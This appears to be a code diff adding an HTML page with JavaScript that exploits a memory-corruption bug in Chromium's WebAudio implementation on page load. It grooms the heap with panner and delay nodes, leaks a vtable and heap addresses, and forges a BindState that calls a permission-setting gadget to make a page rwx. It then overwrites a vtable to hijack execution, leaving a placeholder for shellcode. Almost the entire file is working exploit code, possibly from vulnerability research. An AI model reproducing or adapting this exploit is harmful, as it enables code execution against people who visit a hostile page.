|
| 1 | +<html> |
| 2 | +<head> |
| 3 | +<script> |
| 4 | +audioCtx = new OfflineAudioContext(1, 3072, 3072); |
| 5 | +audioCtx2 = new OfflineAudioContext(1, 3072, 3072); |
| 6 | +audioCtx3 = new OfflineAudioContext(1, 3072, 3072); |
| 7 | +audioCtx4 = new OfflineAudioContext(1, 3072, 3072); |
| 8 | +audioCtx5 = new OfflineAudioContext(1, 3072, 3072); |
| 9 | +panners = [audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner()] |
| 10 | +delayPad = new Array(2); |
| 11 | +counter = 0; |
| 12 | +delay_leak = null; |
| 13 | +controlled_data = null; |
| 14 | +controlled_data2 = null; |
| 15 | +arr = [audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner()]; |
| 16 | +pageOffset = 1736; |
| 17 | +hrtf_vtable_offset = 0xa1b6b30n; |
| 18 | +//base::internal::Invoker<base::internal::BindState<void (*)(blink::KURL const&, base::WaitableEvent*, std::__1::unique_ptr<blink::WebGraphicsContext3DProvider, std::__1::default_delete<blink::WebGraphicsContext3DProvider> >*), blink::KURL, WTF::CrossThreadUnretainedWrapper<base::WaitableEvent>, WTF::CrossThreadUnretainedWrapper<std::__1::unique_ptr<blink::WebGraphicsContext3DProvider, std::__1::default_delete<blink::WebGraphicsContext3DProvider> > > >, void ()>::RunOnce(base::internal::BindStateBase*) |
| 19 | +polymorphicInvokerOffset = 0x97b7d50n; |
| 20 | + |
| 21 | +function sleep(miliseconds) { |
| 22 | + var currentTime = new Date().getTime(); |
| 23 | + while (currentTime + miliseconds >= new Date().getTime()) { |
| 24 | + } |
| 25 | +} |
| 26 | + |
| 27 | +function convertAddress(float) { |
| 28 | + let buf = new ArrayBuffer(4); |
| 29 | + floatView = new Float32Array(buf); |
| 30 | + intView = new Uint8Array(buf); |
| 31 | + floatView[0] = float; |
| 32 | + let out = ''; |
| 33 | + for (let i = 3; i >= 0; i--) { |
| 34 | + if (intView[i] == 0) { |
| 35 | + out += '00'; |
| 36 | + continue; |
| 37 | + } |
| 38 | + let result = intView[i].toString(16); |
| 39 | + out += intView[i].toString(16); |
| 40 | + } |
| 41 | + return out; |
| 42 | +} |
| 43 | + |
| 44 | +function addressToInt64(float0, float1) { |
| 45 | + let buf = new ArrayBuffer(8); |
| 46 | + floatView = new Float32Array(buf); |
| 47 | + int8View = new Uint8Array(buf); |
| 48 | + floatView[0] = float0; |
| 49 | + floatView[1] = float1; |
| 50 | + //Fix alignment |
| 51 | + let bigBuf = new ArrayBuffer(8); |
| 52 | + let bigint8View = new Uint8Array(bigBuf); |
| 53 | + for (let i = 0; i < 6; i++) { |
| 54 | + bigint8View[i] = int8View[i +2]; |
| 55 | + } |
| 56 | + bigint8View[6] = 0; |
| 57 | + bigint8View[7] = 0; |
| 58 | + let bigint64View = new BigUint64Array(bigBuf); |
| 59 | + return bigint64View[0]; |
| 60 | +} |
| 61 | + |
| 62 | +function load() { |
| 63 | + //Pad to make controlled data overlap with boundary |
| 64 | + delayPad[0] = audioCtx4.createDelay(0.1663); |
| 65 | + //Allocate controlled data |
| 66 | + controlled_data = audioCtx2.createDelay(0.1663); |
| 67 | + controlled_data2 = audioCtx5.createDelay(0.1663); |
| 68 | + |
| 69 | + //Arrange the layout of the bucket 1152 |
| 70 | + //First 3 chunks |
| 71 | + for (let i = 0; i < panners.length; i++) { |
| 72 | + panners[i].panningModel = 'HRTF'; |
| 73 | + } |
| 74 | + //Create a DelayDSPKernel whose buffer_ has the right size, which will be used to leak data. |
| 75 | + delay_leak = audioCtx.createDelay(0.0908); |
| 76 | + //3/3072 = 1./1024, need denominator to be power of 2 to make some arithmetic simpler |
| 77 | + delay_leak.delayTime.value = 3 * 0.0009765625; |
| 78 | +//SetPanningModel also creates a bunch of other buffers with size 1056 in a different thread, wait for these to be created first |
| 79 | + //before deleting so that the gap doesn't get occupied by these. |
| 80 | + sleep(1000); |
| 81 | + //Free up the first 3 chunks to arrange the layout, in reverse order |
| 82 | + for (let i = panners.length - 1; i >= 0; i--) { |
| 83 | + panners[i].panningModel = 'equalpower'; |
| 84 | + } |
| 85 | + audioCtx.audioWorklet.addModule('delay-processor.js').then(()=>{ |
| 86 | + createIframe(); |
| 87 | + }); |
| 88 | +} |
| 89 | + |
| 90 | +function createIframe() { |
| 91 | + let iframe = document.createElement('iframe'); |
| 92 | + iframe.style.display="none"; |
| 93 | + iframe.setAttribute('id', 'ifrm'); |
| 94 | + iframe.src = 'finished_delay_release2.html'; |
| 95 | + document.body.appendChild(iframe); |
| 96 | +} |
| 97 | + |
| 98 | +function calculatePageStart(address) { |
| 99 | + return address & (-4096n) |
| 100 | +} |
| 101 | + |
| 102 | +function writeSource(vtableAddress, controlledAddress) { |
| 103 | + let buffer = audioCtx2.createBuffer(1, 512, 3072); |
| 104 | + |
| 105 | + let data = buffer.getChannelData(0); |
| 106 | + let int8View = new Uint8Array(data.buffer); |
| 107 | + let baseAddress = vtableAddress - hrtf_vtable_offset - 16n; |
| 108 | +// let ropAddress = baseAddress + 158215616n + 564n - 16n; |
| 109 | + //Jump to BlobCompleteCaller::OnComplete to call virtual function |
| 110 | + let ropAddress = baseAddress + 0x305bd40n; |
| 111 | + //Just a NoOpt address |
| 112 | + let retAddress = ropAddress + 0x2cn; |
| 113 | + let addressBuffer = new ArrayBuffer(8); |
| 114 | + let bigIntView = new BigUint64Array(addressBuffer); |
| 115 | + bigIntView[0] = ropAddress; |
| 116 | + let ropInt8View = new Uint8Array(addressBuffer); |
| 117 | + //Stores address to BlobCompleteCaller::OnComplete |
| 118 | + let offset = 8 + 1736; |
| 119 | + let size = 8; |
| 120 | + for (let i = offset; i < offset + size; i++) { |
| 121 | + int8View[i] = ropInt8View[i - offset]; |
| 122 | + } |
| 123 | + offset += size; |
| 124 | + //Stores bindState |
| 125 | + size = 0xa8; |
| 126 | + let polymorphicInvoker = baseAddress + polymorphicInvokerOffset; |
| 127 | +//PolymorphicInvoker: |
| 128 | + //mov rax,QWORD PTR [rdi + 0x20]; <-- function call |
| 129 | + //mov rsi,QWORD PTR [rdi + 0x98]; <-- size |
| 130 | + //mov rdx,QWORD PTR [rdi + 0xa0]; <-- access |
| 131 | + //add rdi, 0x28 <--- page address to set permission |
| 132 | + let setPermissions = baseAddress + 0x7f53980n; |
| 133 | + let bindState = new ArrayBuffer(size); |
| 134 | + let bindStateView = new DataView(bindState); |
| 135 | + bindStateView.setBigUint64(0, 1n, true); |
| 136 | + bindStateView.setBigUint64(8, polymorphicInvoker, true); |
| 137 | + bindStateView.setBigUint64(0x10, retAddress, true); |
| 138 | + bindStateView.setBigUint64(0x18, retAddress, true); |
| 139 | + bindStateView.setBigUint64(0x20, setPermissions, true); |
| 140 | + bindStateView.setBigUint64(0x98, 4096n, true); //<-- size |
| 141 | + bindStateView.setBigUint64(0xa0, 0x03n, true); //<-- access |
| 142 | + let bindStateIntView = new Uint8Array(bindState); |
| 143 | + for (let i = offset; i < offset + size; i++) { |
| 144 | + int8View[i] = bindStateIntView[i - offset]; |
| 145 | + } |
| 146 | + //Replace with shell code. |
| 147 | + for (let i = offset + size; i < offset + size + 3; i++) { |
| 148 | + int8View[i] = 0x42; |
| 149 | + } |
| 150 | + |
| 151 | + let src = audioCtx2.createBufferSource(); |
| 152 | + src.buffer = buffer; |
| 153 | + src.connect(controlled_data); |
| 154 | + controlled_data.connect(audioCtx2.destination); |
| 155 | + src.start(); |
| 156 | + audioCtx2.suspend((4 * 128)/3072.0); |
| 157 | + |
| 158 | + audioCtx2.startRendering(); |
| 159 | +} |
| 160 | + |
| 161 | +function bigInt2Int8(bigInt) { |
| 162 | + let buffer = new ArrayBuffer(8); |
| 163 | + let bigIntView = new BigUint64Array(buffer); |
| 164 | + let intView = new Uint8Array(buffer); |
| 165 | + bigIntView[0] = bigInt; |
| 166 | + return intView; |
| 167 | +} |
| 168 | + |
| 169 | +function rewriteVtable(controlledAddress) { |
| 170 | + let buffer = audioCtx3.createBuffer(1, 280, 3072); |
| 171 | + let data = buffer.getChannelData(0); |
| 172 | + let int8View = new Uint8Array(data.buffer); |
| 173 | + //Overwrite vtable to controlledAddress |
| 174 | + let fakeVtableAddr = controlledAddress + 1736n; |
| 175 | + let controlledInt8 = bigInt2Int8(fakeVtableAddr); |
| 176 | + for (let i = 1090; i < 1098; i++) { |
| 177 | + int8View[i] = controlledInt8[i - 1090]; |
| 178 | + } |
| 179 | + //ControlledAddress + 16n now stores fake BindState |
| 180 | + controlledInt8 = bigInt2Int8(fakeVtableAddr + 16n); |
| 181 | + for (let i = 1098; i < 1098 + 8; i++) { |
| 182 | + int8View[i] = controlledInt8[i - 1098]; |
| 183 | + } |
| 184 | + let fakeObj = audioCtx3.createBufferSource(); |
| 185 | + fakeObj.buffer = buffer; |
| 186 | + let delay = audioCtx3.createDelay(0.0908); |
| 187 | + fakeObj.connect(delay); |
| 188 | + delay.connect(audioCtx3.destination); |
| 189 | + fakeObj.start(); |
| 190 | + audioCtx3.suspend((3 * 128)/3072.0).then(()=> { |
| 191 | + arr[3].panningModel = 'equalpower'; |
| 192 | + }); |
| 193 | + audioCtx3.startRendering(); |
| 194 | +} |
| 195 | + |
| 196 | +async function leak_addresses() { |
| 197 | + let src = audioCtx.createOscillator(); |
| 198 | + src.connect(delay_leak); |
| 199 | + delay_leak.connect(audioCtx.destination); |
| 200 | + var buffer = await audioCtx.startRendering(); |
| 201 | + src.disconnect(delay_leak); |
| 202 | + delay_leak.disconnect(audioCtx.destination); |
| 203 | + delete src; |
| 204 | + delete delay_leak; |
| 205 | + let x = []; |
| 206 | + for (let i = 0; i < 100; i++) { |
| 207 | + x.push(new ArrayBuffer(1024 * 1024)); |
| 208 | + } |
| 209 | + let out = buffer.getChannelData(0); |
| 210 | + let addr0 = convertAddress(out[1]); |
| 211 | + addr0 = addr0.substring(0,4); |
| 212 | + let addr1 = convertAddress(out[2]); |
| 213 | + let addr2 = convertAddress(out[5]); |
| 214 | + addr2 = addr2.substring(0,4); |
| 215 | + let addr3 = convertAddress(out[6]); |
| 216 | + let div = document.getElementById("div1"); |
| 217 | + div.innerHTML = 'HRTFPanner vtable address: 0x' + addr1 + addr0 + ' bin72 address: 0x' + addr3 + addr2; |
| 218 | + let intVtable = addressToInt64(out[1], out[2]); |
| 219 | + let intHeap = addressToInt64(out[5], out[6]); |
| 220 | + let div2 = document.getElementById("div2"); |
| 221 | + div2.innerHTML = 'HRTFPanner vtable: ' + intVtable + ' bin72: ' + intHeap; |
| 222 | + return {vtable: intVtable, heap: intHeap} |
| 223 | +} |
| 224 | + |
| 225 | +function bigInt2hex(bigInt) { |
| 226 | + let result = new BigUint64Array([bigInt]); |
| 227 | + let resultInt8View = new Uint8Array(result.buffer); |
| 228 | + let out = ''; |
| 229 | + for (let i = 7; i >= 0; i--) { |
| 230 | + if (resultInt8View[i] == 0) { |
| 231 | + out += '00'; |
| 232 | + } else { |
| 233 | + out += resultInt8View[i].toString(16); |
| 234 | + } |
| 235 | + } |
| 236 | + return out |
| 237 | +} |
| 238 | + |
| 239 | +function calculateControlledAddress(heapAddress) { |
| 240 | + //Replace offset as it can be unreliable in the size 72 bin |
| 241 | + let buffer = new ArrayBuffer(8); |
| 242 | + let int8View = new Uint8Array(buffer); |
| 243 | + let bigIntView = new BigUint64Array(buffer); |
| 244 | + bigIntView[0] = heapAddress; |
| 245 | + int8View[0] = 0x68; |
| 246 | + int8View[1] = 0x41; |
| 247 | + //Hardcoded offset between heap bins. |
| 248 | + let controlledAddress = bigIntView[0] + 0x184798n; |
| 249 | + |
| 250 | + let out = bigInt2hex(controlledAddress); |
| 251 | + let page = bigInt2hex(controlledAddress + 0x700n); |
| 252 | + |
| 253 | + let div3 = document.getElementById("div3"); |
| 254 | + div3.innerHTML = 'Controlled data address: 0x' + out + 'int address: ' + controlledAddress; |
| 255 | + let div4 = document.getElementById("div4"); |
| 256 | + div4.innerHTML = 'Page permission from address: 0x' + page + ' will be written to rwx'; |
| 257 | + return controlledAddress; |
| 258 | +} |
| 259 | + |
| 260 | +function remove() { |
| 261 | + let frame = document.getElementById("ifrm"); |
| 262 | + frame.parentNode.removeChild(frame); |
| 263 | + |
| 264 | + if (counter < 32 + 4 * 7 + 2) { |
| 265 | + //Trigger bug to move chunk backwards |
| 266 | + let biquad = audioCtx.createBiquadFilter(); |
| 267 | + counter++; |
| 268 | + console.log(counter); |
| 269 | + delete biquad; |
| 270 | + sleep(700); |
| 271 | + createIframe(); |
| 272 | + } else { |
| 273 | + //Fill the gap |
| 274 | + for (let i = 0; i < arr.length; i++) { |
| 275 | + arr[i].panningModel = 'HRTF'; |
| 276 | + } |
| 277 | + leak_addresses().then((results) => { |
| 278 | + controlledAddress = calculateControlledAddress(results.heap); |
| 279 | + writeSource(results.vtable, controlledAddress); |
| 280 | + for (let i = 0; i < 100; i++) { |
| 281 | + new ArrayBuffer(1024 * 1024); |
| 282 | + } |
| 283 | + setTimeout(()=> { |
| 284 | + rewriteVtable(controlledAddress); |
| 285 | + }, 1000 |
| 286 | + ); |
| 287 | + }); |
| 288 | + } |
| 289 | +} |
| 290 | +</script> |
| 291 | +</head> |
| 292 | +<body onload="load()"> |
| 293 | + <div id = "div1"></div> |
| 294 | + <div id = "div2"></div> |
| 295 | + <div id = "div3"></div> |
| 296 | + <div id = "div4"></div> |
| 297 | +</body> |
| 298 | +</html> |
0 commit comments